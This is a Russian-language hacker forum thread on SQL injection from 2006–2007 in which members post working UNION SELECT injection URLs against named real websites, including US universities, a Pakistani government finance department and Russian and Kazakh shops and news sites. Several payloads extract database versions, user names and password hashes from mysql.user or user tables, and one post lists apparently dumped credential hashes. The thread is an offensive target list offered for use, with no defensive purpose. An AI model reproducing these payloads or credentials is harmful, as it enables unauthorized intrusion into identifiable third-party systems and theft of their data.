SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. ATFakep

    ATFakep Elder - Старейшина

    Joined:
    11 Dec 2006
    Messages:
    83
    Likes Received:
    77
    Reputations:
    51
    Code:
    http://www.linspire.com/lindows_news_pressreleases_archives.php?id=-1+union+select+version(),2+/*
     
    1 person likes this.
  2. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    526
    Likes Received:
    260
    Reputations:
    138
    Прокся еле живая...кто хочет доперебирайте...

    Code:
    http://www.bilimdon.uz/news/index.php?news_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 bla bla bla/*
     
    1 person likes this.
  3. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    Пройдемся по Пакистану :)
    Code:
    http://www.lcwu.edu.pk/fmst/course_content.php?id=-31%20UNION%20SELECT%201,user(),3,4,5,6,7,8,9,10,11,12/*
    Code:
    http://forums.brain.net.pk/dealers/singledetails.php?ID=-3+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14/*
    Code:
    http://www.rcci.org.pk/newsdet.php?id=-122+union+select+1,version(),3,4,5,6,7/*
    Code:
    http://pakwatan.com.pk/view_detail.php?id=-30%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9,10/*
    www.financedeptsindh.gov.pk Финанс.депортамент Пакистана
    Code:
    http://www.financedeptsindh.gov.pk/eafrl/index.php?id=-158+union+select+table_name,2,3+from+INFORMATION_SCHEMA.TABLES+limit+27,1/*
    http://www.financedeptsindh.gov.pk/eafrl/index.php?id=-158+union+select+password,2,3+from+sadmin/*
     
    1 person likes this.
  4. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Посморите может что полезного для себя найдете.....
    Code:
    http://www.uvuo.ru/index.html?id=22&did=-2517+union+select+1,2,3,concat_ws(char(58),id,password),5,6,7,8,9+from+users/*
     
    3 people like this.
  5. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    www.ceatech.ca
    Code:
    http://www.ceatech.ca/pdetails.php?id=-5834+UNION+SELECT+1,VERSION(),3,USER(),5,6,7,8/*
     
    2 people like this.
  6. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    edu
     
    1 person likes this.
  7. valiko

    valiko Elder - Старейшина

    Joined:
    28 Jan 2007
    Messages:
    152
    Likes Received:
    144
    Reputations:
    19
    Code:
    http://www.dk.kz/show.php?id=-301876)+union+select+1,concat(version(),0x3a,user()),database()/*
    http://www.dk.kz/show.php?id=-301876)+union+select+1,concat(user,0x3a,password),database()+from+mysql.user/*
    
    http://www.megapolis.kz/show_article.php?art_id=-2763+union+select+concat(user(),0x3a,database(),0x3a,version())/*
    
     
    #1147 valiko, 19 Mar 2007
    Last edited: 19 Mar 2007
  8. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    edu

    Code:
    http://sensorweb.mit.edu/principals_a.php?id=-15+union+select+1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+mysql.user
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    пля. Сервер на винде, страница грузится очень медленно =\
     
  10. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    edu
    Code:
    http://www.usc.edu/schools/sppd/faculty/detail.php?id=-20+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
     
  11. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    EDU

    root:623460e26f081bbc
    web:761b2fc844890384
    mnogosearch:0547d8b07eba42f3

    root:57959c007a31dffa:TestWeb
    Cindy:57959c007a31dffa:TestWeb

    может уже было, хз, проверять не стал.
     
  12. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    edu
    Code:
    http://www.ia.unc.edu/dev/manager/indexproject.php?id=-35+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*
     
  13. Murt@zaa

    Murt@zaa New Member

    Joined:
    27 Aug 2006
    Messages:
    18
    Likes Received:
    3
    Reputations:
    1
    Здесь я не нашел столбца с паролями:
    www.lib.hsgm.ru
    Code:
    http://lib.hsgm.ru/?page=cat&cat=-68'%20union%20select%201,user(),3,4,5%20from%20mysql.user/*
    А здесь я не смог подобрать названия таблиц:
    www.aoelmon.ru
    Code:
    http://www.aoelmon.ru/more.php?pid=-148%20union%20select%201,2,3,4/*
    www.sexshop-online.ru
    Code:
    http://www.sexshop-online.ru/info.php?ID=-12%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*
    www.flashlands.com
    Code:
    http://www.flashlands.com/flash_view.php?id=-445%20union%20select%201,concat(user(),char(58),version(),char(58),database(),char(58)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
    www.soccershop.ru
    Code:
    http://www.soccershop.ru/shopping/letter_to_friend.php?id=-445%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*
    shop.nourost.ru
    Code:
    http://shop.nourost.ru/index.php?cat=86%20union%20select%201,2,3,4,5,6/*
    www.uprava.org
    Code:
    http://www.uprava.org/section.php?id=-34%20union%20select%201,concat(version(),char(58),user()),3,4,5,6,7/*
    А здесь нужно доперебирать:
    Code:
    http://www.extreme-shop.ru/ru/catalogue/index.shtml?CATALOGUE_ID=-1%20union%20select%200,1,2,3,4,5,6/*
    http://www.xsp.ru/author/outpub.php?id=445'%20union%20select%201,2,3,4,5/*
    http://www.kwadratuur.be/audio.php?id=-445%20union%20select%201/*
    http://www.landlords.ru/detail.php?id=-445%20union%20select%201/*
    http://www.library.uiuc.edu/sousa/ais/marc.php?id=445%20union%20select%201,2/*
    http://www.globaltrading.ru/price.php3?Cat_id=-156%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    http://clubgirls.ru/modules/makeup/?select=-13'%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    http://www.autodostavka.ru/?id=725+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/*
    http://gt-store.ru/shop/details.html?id=372%20union%20select%201/*
    http://director-online.com/buildArticle.php?id=-1154'%20union%20select%201,2,3,4,5/*
    http://www.viptel.ru/?r=17&cat_id=1&firm_id=-13%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    http://pro.sunrise.ru/contents.asp?reg=30'%20union%20select%201,2,3,4/*
    P.S Если какая нибудь скуль уже была то сильно не пинайте:).
     
    2 people like this.
  14. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    Code:
    http://www.porvari.com/kauppa/product_details.php?id=-115%20UNION%20SELECT%201,version(),user(),4,database(),6,7,8,9,10,11,12/*
     
  15. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    edu
    Code:
    http://www.nuevoparadigma.com/proyectos/indexproject.php?id=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*
     
    2 people like this.
  16. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    Code:
    http://www.sabtv.com/shows/shows_inside.php?id=-22+union+select+1,concat(user,0x3a,password)+from+mysql.user/*
     
    1 person likes this.
  17. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Учебный центр при Институте Информационных Технологий в Москве
     
  18. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    ru-hosting.ru
     
  19. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    hostingmotor.com
    правда на экран ничего не выводится =\
     
    1 person likes this.
  20. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    webdomain.com.ru
     
Thread Status:
Not open for further replies.